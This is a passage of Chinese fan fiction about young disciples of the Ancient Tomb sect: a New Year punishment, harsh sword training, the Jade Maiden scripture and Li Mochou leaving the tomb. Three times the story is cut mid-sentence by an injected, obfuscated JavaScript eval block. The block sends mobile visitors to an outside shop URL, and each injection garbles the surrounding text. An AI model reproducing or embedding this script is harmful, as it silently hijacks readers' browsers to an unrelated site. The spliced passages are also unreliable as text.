她本想骂小童子没出息,捏一下脸也要哭得满墓皆知。可她站在暗处,看见小童子扑在小龙女怀里,听见她带着哭腔说“她看外面,就像要走”,忽然什么都骂不出来了。 她脸上的怒意还未散尽,心里却像被谁很轻很轻地碰了一下。 原来小童子抱她的腿,不是为了惹她生气。 也不是全然为了好玩。 李莫愁垂在身侧的手指动了动。她想走进去,想说一句“我又没说要走”,想说“谁让你自己贴上来挨捏”,想说“下次不准爬我头上”。 可她最后一句也没说。 她只在甬道里站了片刻,转身离开。 走出很远后,李莫愁摸了摸自己的衣摆。 方才小童子抱过的地方,似乎还残着一点暖意。 她皱了皱眉,低声道:“真会烦人。” 可这一次,她没有再去墓门前站着。 5. 红衣 小龙女和小童子七岁那年,古墓里过了一回很像样的年。 说是很像样,其实也不过是多了几盏红灯、多蒸了几笼糕、多烧了几样菜。活死人墓里没有亲友往来,也没有爆竹声响,只有孙婆婆一早出了墓,背着竹篓下山去采买。 孙婆婆并未拜入古墓派。 她是林朝英身边旧人,照料墓中起居,守规矩,却不必守弟子的规矩。古墓弟子不得随意出墓,她却能下山买菜、换盐、添布。每逢年节,孙婆婆便像把山下的一点人间烟火悄悄背回来,藏在竹篓里,带进冷冰冰的石门。 除夕这日,她背回来的东西格外多。 有新鲜青菜,有一小包蜜饯,有红纸剪的小窗花,还有三套红彤彤的新衣。 李莫愁先看见,挑眉道:“婆婆,你要把我们打扮成糖人么?” 孙婆婆笑骂:“糖人也比你成日一身白强。过年了,总要有点喜气。” 李莫愁嘴上嫌弃,手却已经摸上那件红衣。她年纪渐长,眉眼愈发明艳,红色往她身上一映,竟像一枝带刺的海棠。她偏要哼一声,说:“俗。” 小童子却早已扑过去。 她从未穿过这样的衣服。 那红棉袄厚厚软软,外头是新布,里头絮了棉,袖口滚着一圈浅金色细边。衣襟上缝了两颗小圆扣,扣面也包着红绸,摸起来鼓鼓的。孙婆婆还给她配了一条同色小棉裤,裤脚收得暖和,连鞋面上都绣了两朵小小的红梅。 小童子抱着衣服,眼睛都圆了。 “婆婆,这是给我的?” “不是给你的,还能给谁?”孙婆婆替她拍了拍额前碎发,“快去换上。” 小童子捧着衣服跑进内室,片刻后又跑出来,整个人红彤彤一团,像雪地里忽然滚出来的一颗小灯笼。 她低头看自己的袖子,又摸摸肚子前厚厚的棉,觉得新奇极了。 自从开始认真练功后,她再也没有穿过这么厚的衣裳。古墓派练的是清冷内功,衣衫皆要轻薄,不可贪暖。平日里她身上总是一件薄薄白衣,寒意从袖口钻进去,便要立刻提气运功,将那点冷意一点一点化开。如今红棉衣裹住她,暖意贴着肩背和肚腹,一层一层把她包起来,舒服得她几乎想在地上打个滚。 “龙儿。”她小跑到小龙女面前,伸开两只胳膊,“你看。” 小龙女也换上了红衣。 她穿红色却仍显得冷,像雪中开了一朵不肯融的花。红棉袄在她身上规规矩矩,衣带系得一丝不乱,连袖口都被她抚平了。 小童子绕着她转了一圈,认真道:“你好看。” 小龙女看她一眼:“你也好看。” 小童子立刻笑得眼睛弯起来。 李莫愁在旁边嗤道:“两个小傻子。” 小童子不恼,扭头看她:“师姐也好看。” 李莫愁脸色一僵,立刻转过身:“谁要你说。” 孙婆婆笑得合不拢嘴。 那一日,连林朝英也没有立刻让她们去练功。她坐在石案边,看三个孩子穿着红衣站在灯下,神情淡淡,却没有说扫兴的话。 只是好景不长。 午后,林朝英仍问起寒冰床。 这两年里,小龙女日日睡寒冰床,心法进境愈发平稳。可小童子却死活不肯与她同睡。 她不是怕冷。 最早小龙女被安排睡寒冰床时,小童子夜夜坐在旁边守着。 后来师父让她一起睡,她便拒绝。睡寒冰床要时时刻刻运转内力,这样她就分不出心神听师姐的脚步。 李莫愁那时常站在墓门前,也常冷着脸同师父顶嘴。小童子不懂大人的规矩,也不懂师门的偏爱,只觉得若她听不到脚步声,便没人看住师姐,也没人抱住师姐的腿。 林朝英看她夜里不睡,白日练功又打瞌睡,便要治她。 她命小童子穿最薄的衣服,去古墓最潮湿阴冷的墓室里睡。 那间墓室靠近地下暗泉,石壁常年泛湿,寒气从地缝里漫上来,连灯火都像被潮气压低。小童子第一次被送进去时,抱着自己的薄被,眼泪续满眼眶,却硬是没落。 她后来病过许多次。 夜里发热,白日咳嗽,孙婆婆偷偷给她熬姜汤,她便捧着碗一口一口喝,辣得眼泪冒出来,也不敢说不喝。林朝英问她还敢不敢夜里乱跑,她便抿着唇不说话。 日子久了,她竟慢慢习惯了。 习惯薄衣,习惯湿冷,习惯夜里把自己蜷成小小一团。她也习惯了迷糊中听远处有没有脚步声,若听见李莫愁往墓门去,便披衣爬起来,迷迷糊糊地跑过去抱腿。 等她终于习惯了那间墓室,林朝英又命她回去,与小龙女同睡寒冰床。 两个孩子都还小,寒冰床虽窄,却足够她们打横睡。小龙女躺一侧,小童子躺一侧,中间还能隔出一掌宽的空。 可小童子死活不愿。 她宁愿回潮湿墓室睡,也不愿睡寒冰床。 除夕这日,林朝英问了第三遍:“今晚起,你与龙儿同睡寒冰床。” 小童子穿着红棉袄,坐在石案旁,手里还捏着半块蜜饯。听见这话,她立刻把蜜饯藏到袖子里,摇头。 林朝英看她:“不愿?” 小童子抿紧嘴。 林朝英道:“说话。” “不愿。”小童子小声道。 “为何?” 小童子低头看自己的红鞋尖。 她说不出为何。 说怕听不见师姐的脚步?怕自己躺在小龙女身边,便不能爬起来去墓门?也怕寒冰床是师父给小龙女,又给她,偏偏不给师姐,师姐会更加生气? 这些话在她心里乱成一团,说出口却只剩一句:“我不睡。” 林朝英放下茶盏。 “过来。” 小童子一听这两个字,肩膀先缩了一下。 李莫愁原本懒洋洋倚在旁边,见状立刻来了精神。 “小童子。”她拖长声音,“师父叫你呢。” 小童子瞪她一眼。 这一眼瞪得毫无威力,倒把李莫愁逗笑了。 林朝英伸手,把小童子拎到身前。 小童子挣扎了两下,没挣开。她今日穿得厚,整个人圆滚滚的,被师父按在膝上时,红棉袄皱成一团,活像一只被抓住的小红包。 孙婆婆忙道:“姑娘,大过年的……” 林朝英淡淡道:“正因过年,才教她记得规矩。” 小童子脸一下红了。 不是冻红,也不是哭红,是羞红的。 当着小龙女和李莫愁的面被按住,简直比罚她去潮湿墓室还难受。她两只手撑在师父膝上,声音发抖:“师父,我七岁了。” 林朝英道:“七岁也该听话。” 说罢,一掌落下。 “啪。” 声音不重,却清清楚楚响在石室里。 小童子整个人一僵。 李莫愁先是愣了愣,随即噗嗤一声笑出来。 小童子更羞,眼眶里立刻续满了泪。可她这两年倔强得厉害,硬是不让眼泪掉,扭着身子喊:“不许笑!” 李莫愁笑得更厉害。 “啪。” 第二掌落下。 这一下比方才重些,打得小童子“嗷”了一声。她又羞又疼,红棉裤再厚也挡不住师父掌力,疼意结结实实透进来。 林朝英问:“睡不睡?” 小童子咬牙:“不睡。” “啪。” “睡不睡?” “不睡!” 李莫愁笑得扶住石案,肩膀一颤一颤,几乎直不起腰来。 小龙女站在一旁,脸上仍没什么表情,只是目光一直落在小童子身上。孙婆婆又心疼又想笑,嘴里念着“哎哟”,手却不知该往哪里放。 又一掌落下。 小童子终于忍不住,眼泪啪嗒掉了一颗。 她气坏了。 那点羞、那点痛、那点委屈,混着过年新衣被当众按住的难堪,一股脑冲上头顶。她也不知哪里来的胆子,忽然扭过脸,泪汪汪地瞪着林朝英。 “师父!” 林朝英停手:“嗯?” 小童子抽着气,声音都哭哑了,却说得极认真:“我要和你堂堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750818|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 正正打一架!” 石室里静了一瞬。 下一刻,李莫愁笑得几乎栽到地上。 孙婆婆也没忍住,背过身去笑。连小龙女的睫毛都轻轻一颤,唇角像被风吹动了一下。 林朝英看着膝上的小弟子,眼中也掠过一丝极淡的笑意。 “你要同我打一架?” 小童子哭着点头:“堂堂正正!” “好。”林朝英道,“那便打。” 小童子怔住。 她还没来得及后悔,林朝英已松开手,让她站到石室中央。 小童子揉着眼睛,红棉袄歪了,头发也乱了,偏还倔强地摆出起手式。她平日练功总偷懒,今日却前所未有地认真,脸上还挂着泪,嘴巴抿成一条线。 李莫愁笑得腰都直不起来:“小童子,你可别哭着求饶。” 小童子含泪怒道:“你闭嘴。” 李莫愁又笑倒在石案边。 林朝英站起身,衣袖微动。 “来。” 小童子深吸一口气,冲了过去。 她这一冲,气势很足,步子有力。但林朝英只侧身一让,指尖轻轻点在她肩头,小童子便脚下一滑,扑通一声趴在地上。 李莫愁拍着石案大笑。 小童子爬起来,眼泪还在脸上,硬是又冲。 第二次,她被林朝英一掌拨开,转了半圈,坐到地上。 第三次,她想学小龙女那样收腕,却收得太急,自己绊了自己。 第四次,林朝英终于真正落掌。 掌不重,却掌掌到肉,专打她身后软处。小童子刚才已挨过一顿,此时又被师父用武功教训,红棉裤下很快火辣辣肿起来。她疼得直吸气,眼泪一颗一颗往下掉,却仍不肯立刻认输。 “还打么?”林朝英问。 小童子揉着屁股,哭得鼻尖通红:“打。” 于是又一掌。 “还打么?” 小童子哽咽:“打。” 再一掌。 到后来,她连站都站不稳了,扶着石案,眼泪汪汪地看着林朝英。红衣仍旧鲜亮,脸却哭成一团,身后疼得碰都不敢碰。 林朝英问最后一遍:“还打么?” 小童子吸了吸鼻子,极小声道:“明日再打。” 李莫愁这回是真笑得腰都起不来了。 孙婆婆一边笑一边过去抱她:“好了好了,今日年节,饶了我们小童子吧。” 小童子趴在孙婆婆怀里,委屈得不行。她觉得师父太厉害,也太不讲理,说堂堂正正打一架,怎么还是她挨打。她又觉得李莫愁最讨厌,笑得那么大声,连一点师姐的样子都没有。 小龙女走过来,把一方干净帕子递给她。 小童子接过帕子,抽抽噎噎擦脸。 小龙女看着她,慢慢道:“你输了。” 小童子哭声一顿。 李莫愁在旁边又爆出一阵笑。 小童子气得扑过去要咬小龙女的脸,被孙婆婆一把抱住。 小龙女主动走近些,微微偏过脸,用自己的脸颊轻轻贴住小童子的脸颊,竟像往日小童子挨了疼、扑到她怀里喊痛时那样。 林朝英重新坐回石案边,端起茶盏,淡淡道:“今晚睡寒冰床。” 小童子立刻僵住。 她想说不睡。 身后还火辣辣地疼着,方才那场堂堂正正的架也输得十分彻底。可她憋了半天,竟硬是把眼泪忍回眼眶里,抬起一张哭得红扑扑的小脸。 “不睡。” 她声音还带着哭腔,却倔得很:“明日继续打。” 那天夜里,年饭比平日丰盛。 孙婆婆做了热汤、蒸糕和几样菜,还偷偷给小童子多夹了一块甜糕。小童子坐在蒲团上,疼得不敢坐实,只能歪歪斜斜地靠着小龙女。 李莫愁看见她那副样子,又想笑。 小童子瞪她。 李莫愁便把自己碗里的蜜饯丢给她:“看什么看,堵住你的嘴。” 小童子接住蜜饯,哼了一声,还是吃了。 夜深后,红灯渐暗。 6. 剑锋 除夕之后,小童子果然日日去找林朝英打架。 起初,古墓里人人都当这是孩子气。 孙婆婆每次瞧见她揉着身后、一瘸一拐地走向石室,便又心疼又好笑:“小祖宗,今日不打了罢?” 小童子脸上还带着昨夜没睡好的倦意,却把下巴一抬:“要打。” 李莫愁倚在甬道边,抱着胳膊笑:“昨日不是疼得坐都坐不稳么?” 小童子便瞪她,说狠话:“今日我不让师父打到。” 李莫愁笑得更厉害。 小龙女没有笑。 她每日天未亮便在寒冰床上运功,待小童子去找师父时,常常已经坐在石室角落,手里拿着书,眼睛却不看书。她静静看小童子摆出起手式,看她被师父一掌拨开,看她摔在地上,又自己爬起来。 第一日,小童子挨了十一掌。 第二日,挨了九掌。 第三日,她学会在林朝英抬手之前先往旁边闪,虽然还是被掌风扫到肩头,滚出去半圈,却没有再结结实实挨那一下。 林朝英原本只当她小孩胡闹,渐渐却看出些不同。 小童子内功不如小龙女沉静,心性也远不如小龙女稳。她怕疼,怕冷,怕练功枯燥,一双眼睛总爱往别处看。可一旦真被打疼了,她便记得极牢。 昨日被掌缘扫过左肋,今日她便不从左侧进。 前一回被指尖点中肩井,下一回她会先缩肩、转腕、让半寸。 若是同一招连着打她两次,第三次她便会咬着牙换个路数。换得未必高明,甚至常常笨拙得叫李莫愁在旁边发笑,可她身子灵,反应快,像一尾滑不溜手的小鱼,总能在将要被捉住时忽然折出去。 林朝英便开始教她天罗地网掌法。 这套掌法本该绵密如网,处处留势,处处封路。小童子初学时仍旧偷懒,手臂抬得不够高,脚下也常踩错。林朝英一掌落下,她疼得眼泪立刻浮满眼眶,下一遍便把手抬高些。 再落一掌,她便把步子挪正。 又落一掌,她干脆把先前错过的那半步改成斜进,趁着林朝英掌势将收未收之时,从下方钻出去。 林朝英眼神微动。 “谁教你的?” 小童子还伏在地上,揉着被打疼的胳膊,闻言茫然抬头:“什么?” “方才那一步。” 小童子想了想:“疼了就这样躲。” 李莫愁噗嗤一声。 林朝英却没有笑。 从那以后,小童子的“堂堂正正打一架”便不再只是挨打。她的天罗地网掌越练越熟,掌影虽还稚嫩,却已隐隐有绵密之意。她个子小,身法低,常从人意想不到的地方钻出一掌。林朝英若从上压,她便贴地旋身;若从旁截,她便借袖势遮眼,脚下反踩半步。 有一回,她竟将三式旧招连在一起,先虚晃右掌,左足绕后,接着双掌交叠,像把一张小小的网从下往上掀起。 那一招仍不成气候。 可林朝英看出了雏形。 她收手时,第一次没有立刻罚小童子重练,而是站在原地看了她许久。 小童子被看得心里发毛,小声道:“师父,我又错了么?” 林朝英道:“没有。” 小童子反倒更怕了。 那日练罢,林朝英把她单独留下。 石室里只剩师徒二人。外头冷泉滴答,远处隐约传来小龙女翻书的声音。小童子站在师父面前,袖子上沾着灰,胳膊上还青了一块。 林朝英看着她,声音难得缓了些。 “你反应极快,身法也活。天罗地网掌法在你手里,不必全照旧路走。” 小童子眨了眨眼。 林朝英道:“但你内功浅,掌势刚起便散。若肯睡寒冰床,日日以寒玉之气炼息,根基一厚,三五年后,你的内力未必比龙儿差。” 小童子低下头。 林朝英又道:“你的上限也未必比我低。” 这句话说得极重。 若是李莫愁在旁边,定要脸色大变。若是孙婆婆听见,怕也要惊得说不出话。古墓派中,林朝英几乎从不夸人,更不轻易把一个孩子与自己相提并论。 可小童子只是沉默。 她知道师父说的是好话。 也知道寒冰床是好东西。 小龙女日日睡在那里,眼神越来越静,内息越来越深,出掌时连袖角都像带着冷雾。小童子有时也羡慕,羡慕小龙女能把冷和疼都收进身体里,化成别人看不见的力量。 可她还是不愿。 寒冰床太静。 一睡上去,便要闭眼,要运功,要把耳边的脚步声、墓门外的风声、师姐是不是又站在外头的念头都放下。 她放不下。 林朝英等了许久。 “如何?” 小童子攥紧衣角,低声道:“我不睡。” 石室里冷了下去。 林朝英神色仍淡,眼底却终于有了怒意。 “顽劣。” 小童子抿着唇,不说话。 第二日,林朝英拿起了剑。 那柄剑平日悬在石室壁上,寒光如水,极少出鞘。小童子走进来时,还像往常那样揉着胳膊,摆出天罗地网掌的起势。她看见师父手中长剑,先愣了一下。 “师父?” 林朝英道:“来。” 小童子下意识往后退了半步。 李莫愁原本在旁边看热闹,笑意也淡了。 小龙女放下书,抬眼望过去。 剑锋出鞘时,石室里像忽然多了一道雪光。 林朝英没有杀意。 可剑就是剑。 它不像掌,可以收,可以改,可以在最后一寸处化去大半力道。剑锋递来时,寒意先到,锋芒后至。小童子第一次面对,整个人都僵住了,直到那点冷光逼到眼前,才猛地侧身滚开。 她躲得慢了些。 袖口被削开一道长长的口子,连带小臂上也多了一道细红。 孙婆婆惊呼一声。 林朝英收剑,声音冷极:“再来。” 小童子看着自己手臂上的血,眼眶一下红了。 她怕。 是真的怕。 方才那一瞬,她第一次明白,若自己再慢一点,剑锋便不是划开袖子,而是划开喉咙。 可她抬头看见林朝英,也看见李莫愁和小龙女都在看她。 眼泪满在眼眶里,晃了晃,终究没有落下。 她重新摆起掌势。 从那日起,小童子面对的便不只是章法。 还有剑锋。 林朝英的剑不快时,比快更可怕。她会留出一线生路,却只留一线。小童子若看不见,便伤。若猜错,便伤。若迟疑,更要伤。 短短数日,古墓的金创药便用得快了许多。 孙婆婆每日替她洗伤口时都叹气:“姑娘也太狠了些。” 小童子疼得龇牙咧嘴,眼泪续满眼眶,手却死死抓着木榻边沿:“婆婆,轻点。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750819|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 还不轻?”孙婆婆又气又疼,“你倒是同姑娘服个软。” 小童子摇头。 “睡寒冰床又不会吃了你。” 小童子还是摇头。 孙婆婆没法,只好继续上药。药粉一撒,小童子疼得整个人往后一缩,眼泪终于掉下来一颗。她立刻用袖子擦掉,像怕被谁看见。 李莫愁看见了。 她站在石室外,隔着半掩的门,看孙婆婆替小童子包扎。小童子小臂上、肩头上、腿侧上都有细细浅浅的伤。有些已经结痂,有些还泛着新红。 李莫愁起初想笑她活该。 明明睡寒冰床便能少吃这些苦,偏偏要同师父硬碰硬。世上再没有比小童子更蠢的人。 可她笑不出来。 她转身往另一边走,走到寒冰床所在的石室门口。 小龙女正坐在床上运功。 寒玉床气息幽冷,她一身白衣,眉目沉静,掌心向上,呼吸与冷意融在一处。她不必开口,不必争辩,也不必日日被剑锋逼得满身是伤。只要坐在那里,师父便会点头,说她心性最静,说她进境极稳。 李莫愁站了片刻,又转身离开。 她去练功室。 那里空荡荡的,只有石壁上的掌印和剑痕陪着她。林朝英在教小童子拆剑招,小龙女在寒冰床上练内力,孙婆婆围着小童子忙进忙出。 而她李莫愁,只能自己练。 她把拂尘一甩,银丝抽在石壁上,发出极冷的一声响。 没人来看。 没人说她反应快,也没人说她心性静。 她练错了,没人立刻点破;练对了,也没人说一句好。 李莫愁越练越快,越快越乱。掌风扫过石灯,灯火猛地一晃,险些熄灭。她停下来,胸口起伏,眼中那点明艳的光像被什么烧灼着,亮得近乎锋利。 若是从前,这时候小童子早该从某条甬道里钻出来。 她会先探出半个脑袋,小声问:“师姐,你不高兴?” 若李莫愁不理,她便会跑来抱腿。抱不住就往上爬,爬到李莫愁气得伸手揪她,气得捏她的脸,气得只记得骂她烦人。 可这些日子,小童子没有来。 她不是不想来。 她是没有力气。 每日被林朝英逼着在剑锋下拆招,她几乎总是练到筋疲力尽。清晨进去时还能自己走,出来时常要扶着墙。孙婆婆替她上药,她疼得满眼是泪,却连哭都哭不响。饭食端到面前,她握着筷子发呆,吃两口便困得眼皮往下坠。 有时李莫愁从甬道经过,会看见小童子趴在小龙女身边睡着。 她身上还缠着白布,袖口有药味,手指却仍拽着小龙女的衣角。小龙女坐在寒冰床边看书,翻页时动作极轻,像怕惊醒她。 小童子睡得很沉。 沉到李莫愁故意把脚步踩重,她也没有醒。 李莫愁站在门口,脸色一点一点冷下去。 从前小童子总能知道她在哪里,知道她是不是又在生闷气。如今她满心只有师父的剑,只有下一次要从哪里躲,只有身上新添的伤会不会裂开。 她再也没有更多心思去揣摩李莫愁的心思。 这本该清净。 李莫愁却觉得更烦。 远处,小龙女回到寒冰床上运功。 更远处,林朝英的剑悬回了石壁,寒光沉沉,像随时都会再一次出鞘。 古墓里一切都静得像从前。 可有些东西,已经开始悄悄偏了方向。 7. 玉女心经 小龙女和小童子八岁时,林朝英把她们带到古墓最深处的一间石室。 小童子和小龙女在古墓里住了这些年,闭着眼也能摸清大半路径。可直到今日,她俩才知道,原来古墓深处竟还藏着这样一间石室。 那石室并不在寻常通道里,而是要从一条极隐秘的暗道才能进去。暗门藏在石壁之后,机关巧得近乎无痕,过去小童子她们从未察觉。 石门沉重,常年紧闭。 门缝间透出的寒气,比寒冰床还冷,仿佛里面封着一段多年无人提起的旧事。 这一日,林朝英亲自推开了门。 石门开启时,积年的尘气轻轻扬起。 小童子下意识往小龙女身边靠了靠。 小龙女仍旧安静,手里握着一柄短剑,眼睛却抬起来,望向石室上方。 石壁和天花板上刻满了人物图。 那些人像有的执剑,有的空手,有的足尖轻点,有的腰身微折。每一笔都极细,线条却冷峭分明,像是刻的人下刀时心中有恨,又有不肯低头的傲气。人像旁边还刻着细小字句,密密麻麻,沿着石壁铺开,仿佛整间石室都成了一卷不能带走的书。 小童子看得眼花,仰头仰久了,脖子都有些酸。 “师父。”她小声问,“这些人都在打架么?” 林朝英看了她一眼。 若是往常,这样的问题少不得要挨一句训。可今日林朝英没有斥她,只道:“这是玉女心经。” 小童子一怔。 小龙女的眼神也微微一动。 玉女心经。 古墓派中最深的武学。 李莫愁从前提起这四个字时,语气总有些轻,像是不在意,可小童子知道她在意。因为每次说完,李莫愁都会把拂尘甩得格外响,好像要把石壁也抽出一道痕。 林朝英道:“从今日起,你二人随我在此练功。” 小童子眨了眨眼:“师姐呢?” 石室里静了一瞬。 林朝英道:“莫愁不练。” 小童子想问为什么,却被小龙女轻轻看了一眼。 那一眼很静。 小童子便把话咽了回去。 自那以后,李莫愁好几日没有在白日里见到两个师妹。 从前小龙女在寒冰床,小童子在石室挨剑,虽各忙各的,却总能听见一点动静。如今却不同。林朝英常常一早便带着两人往墓深处去,半日不出。甬道里少了小童子练到疼时倒吸气的声音,也少了小龙女轻轻翻书的声音。 古墓忽然空得叫人心烦。 李莫愁起初装作不在意。 她照旧练功,照旧冷笑,照旧在孙婆婆问她要不要添饭时说“不饿”。可她练着练着,拂尘便会停在半空,耳朵不由自主去听墓深处的动静。 听不见。 什么都听不见。 她越发觉得不对。 好不容易到了第五日午间,林朝英似有旁事,石室早早散了。小童子拖着步子来吃饭,脸色发白。 她显然累坏了。 坐下时连筷子都拿反了,盯着碗看了半天,才慢吞吞夹起一片青菜。 李莫愁在她对面坐下,盯着她看。 小童子后知后觉抬头:“师姐?” 李莫愁笑了一下。 她笑得很温柔,温柔得小童子背后一凉。 “这些天,你和龙儿去哪儿了?” 小童子含着青菜,含含糊糊道:“练功。” “练什么功?” “练剑。” 李莫愁眼神一凝:“和师父?” 小童子点头。 李莫愁又问:“在哪间石室?” 小童子慢慢咽下青菜,终于觉得有些不对。 林朝英说过,那间石室不可随意让人知道。小童子再累,也记得这一句。她捏着筷子,含糊道:“就是练功的地方。” 李莫愁手指一下攥紧:“我问你,是不是玉女心经?” 小童子怔了怔。 她想起林朝英说过,这门功夫不得随意外传,也不得对外人提起。可是师姐不是外人。 师姐是师姐。 于是她点了点头。 “嗯。” 下一刻,饭桌被李莫愁一掌掀翻。 “哗啦”一声。 碗盏、汤盆、筷箸全摔在地上,汤水泼了一地,热气混着碎瓷四溅。小童子手里还拿着半块炊饼,整个人僵在原处,连躲都忘了。 孙婆婆从灶间冲出来:“莫愁!你做什么!” 李莫愁却像听不见。 她胸口剧烈起伏,眼睛红得可怕,平日里那点明艳锋利全变成了烧起来的怒意。 “师父!” 她这一声喊得极响,震得石室里灯火都晃了晃。 小童子愣愣看着她。 她不知道李莫愁为什么这么生气。 不就是练功么? 师父以前也教师姐练功。师姐会拂尘,会掌法,会轻功,也会把她捏得眼泪汪汪。为什么这次只是她和龙儿去石室练剑,师姐便像被谁狠狠打了一掌? 林朝英从甬道深处走出来。 她看见一地狼藉,神色未变,只看向李莫愁:“何事?” “何事?”李莫愁笑了一声,“师父问我何事?” 孙婆婆忙去扶小童子:“先起来,别踩着碎瓷。” 小童子却还看着李莫愁。 李莫愁往前走了一步,声音又急又尖,几乎不像她平日说话。 “为什么?” 林朝英道:“说清楚。” “为什么师父眼里从来都看不到我?”李莫愁终于喊出来,“我才是大徒弟!我入门最早,练功也最久。可玉女心经,你不传我,传给她们?” 她指向小龙女和小童子。 小龙女不知何时也来了,站在甬道口,眉目清冷,一言不发。 小童子被她那一指指得茫然又难过,手里的炊饼都忘了放下。 李莫愁继续道:“寒冰床给龙儿,陪练给小童子,如今连玉女心经也给她们。师父,我呢?我算什么?” 林朝英静静看着她。 “莫愁,你心性不合。” 这几个字落下,李莫愁脸色骤然白了。 林朝英道:“玉女心经重在清静、圆融、克制。你性情太烈,心中杂念太盛,练了也难以发挥其用。强练,反会伤身。” “杂念?”李莫愁低声重复。 她忽然笑了。 那笑声比哭还难听。 “师父说我杂念太盛。龙儿不说话,便是清静。小童子挨打不肯哭,便是有天赋。只有我,做什么都是不合,是么?” 林朝英眉头微蹙:“你此刻这般,便是明证。” 李莫愁像被这句话刺中。 她看着林朝英,看着小龙女,看着小童子,又看向满地碎瓷和泼开的汤水。她眼眶红了,却没有掉泪,反而把下巴一点一点抬起来。 “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750820|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。” 她说。 “既然我心性不合,既然我不配,那我还留在这里做什么?” 孙婆婆急道:“莫愁,别说气话。” 李莫愁却猛地转身,朝墓门方向跑去。 小童子终于反应过来。 “师姐!” 她把手里的炊饼一丢,拔腿便追。 可她这几日练玉女心经,又日日被剑招耗尽气力,身体酸软得厉害。才跑出几步,腿下一软,整个人扑倒在地。 膝盖磕在石板上,疼得她眼泪一下涌上来。 就这一跤的功夫,李莫愁的身影已经掠过转角。 再抬头时,甬道空空,只剩灯火微微摇晃。 “师姐!” 小童子爬起来,还想追。 身后却传来林朝英的声音。 “站住。” 小童子僵住。 林朝英道:“她私自出墓,今后再不是活死人墓弟子。你也要跟她走么?” 小童子猛地回头。 她脸上还沾着灰,膝盖疼得发抖,眼眶里蓄满了泪。那泪快要掉下来,却被她死死忍住。 “不!” 她答得很快。 快得像怕慢一点,师父便当真以为她要走。 可下一刻,她又急急道:“但是,那是师姐啊。我去劝劝她,她会回来的。她只是生气,她不是不要我们。” 林朝英道:“她心性与你们不同,不必强求。” 小童子摇头:“不是的。” 林朝英看着她:“她不是第一次出墓。” 小童子怔住。 林朝英道:“不听我派训言,私自来去,早该清出门。” 石室里一时静得可怕。 小童子站在那里,像被人从头到脚浇了一盆冷水。 原来师父都知道。 师姐第一次下山,师父知道。 师姐这些年站在墓门前看外面,师父也知道。 师姐不是忽然要走。 也许在很早很早以前,她心里就已经有一半在外面了。 小童子嘴唇动了动,想说什么,却什么都说不出来。 她想起自己五岁时抱住李莫愁的大腿,想起李莫愁气得揪她、捏她、骂她烦人。那时她以为,只要师姐生她的气,就不会再看外面。 原来她没有拦住。 一次也没有。 小龙女走到她身边。 小童子没有看她,只望着李莫愁消失的甬道。眼泪终于从眼眶里掉下来,一颗接着一颗,砸在石板上。 她很久没有这样安静地哭了。 没有声音。 也没有扑到谁怀里喊痛。 小龙女伸手,轻轻握住她的手。 小童子的手冰凉,指尖却攥得很紧。小龙女便低下头,一根一根掰开她的手指,再把自己的手指放进去,与她十指紧扣。 做完这些,小龙女又靠近半步。 她不太会哄人,只记得从前小童子疼了、委屈了,总爱扑过来用脸蹭她的脸。于是她也微微偏过头,用自己的脸颊轻轻蹭了蹭小童子的脸颊。 孙婆婆在一旁看着满地碎瓷,又看着两个孩子,眼眶也红了。 林朝英站在石室中央,神情仍旧冷淡。 只是她袖中的手,许久没有松开。 墓门方向,风声隐隐传来。 像有人终于推开了那扇门,把古墓里压了多年的冷意,也一并吹散了一角。 8. 遗命 李莫愁离开之后,古墓里静了许多。 从前她在时,哪怕不说话,也总有一股锋利的气息在甬道间游走。拂尘扫过石壁的声响、她冷笑时拖长的尾音、她故意把脚步踩重来惊小童子的坏心眼,都像古墓冷水里偶尔跃起的一点火光。 如今那些声响都没有了。 墓门仍旧关着,长明灯仍旧燃着,冷泉仍旧一滴一滴落下。小龙女每日照旧练功,小童子也照旧随她去玉女心经石室。只是有时走过墓门附近,小童子会下意识放慢脚步。 那里再没有人站着看外面。 也再没有人等她去抱腿。 林朝英的身体,便是在那之后一日日坏下去的。 起初只是咳。 她咳得很轻,像怕惊动谁。孙婆婆端药进去时,她仍能站在石案边看小龙女和小童子演练剑法,偶尔出声指点一句。后来她站得少了,坐得多了,再后来,连坐着也要靠在石壁上,指尖冷得没有一点血色。 小童子第一次发现不对,是某日林朝英教她拆一式剑招。 她按往常那样闪身,准备等师父剑锋刺来。可那一剑没有落下。 林朝英握着剑,手腕极轻地颤了一下。 小童子怔住:“师父?” 林朝英很快收稳了剑,淡淡道:“继续。” 可小童子没有继续。 她看见师父唇边有一点血色。 很淡,很快便被林朝英用帕子拭去了。 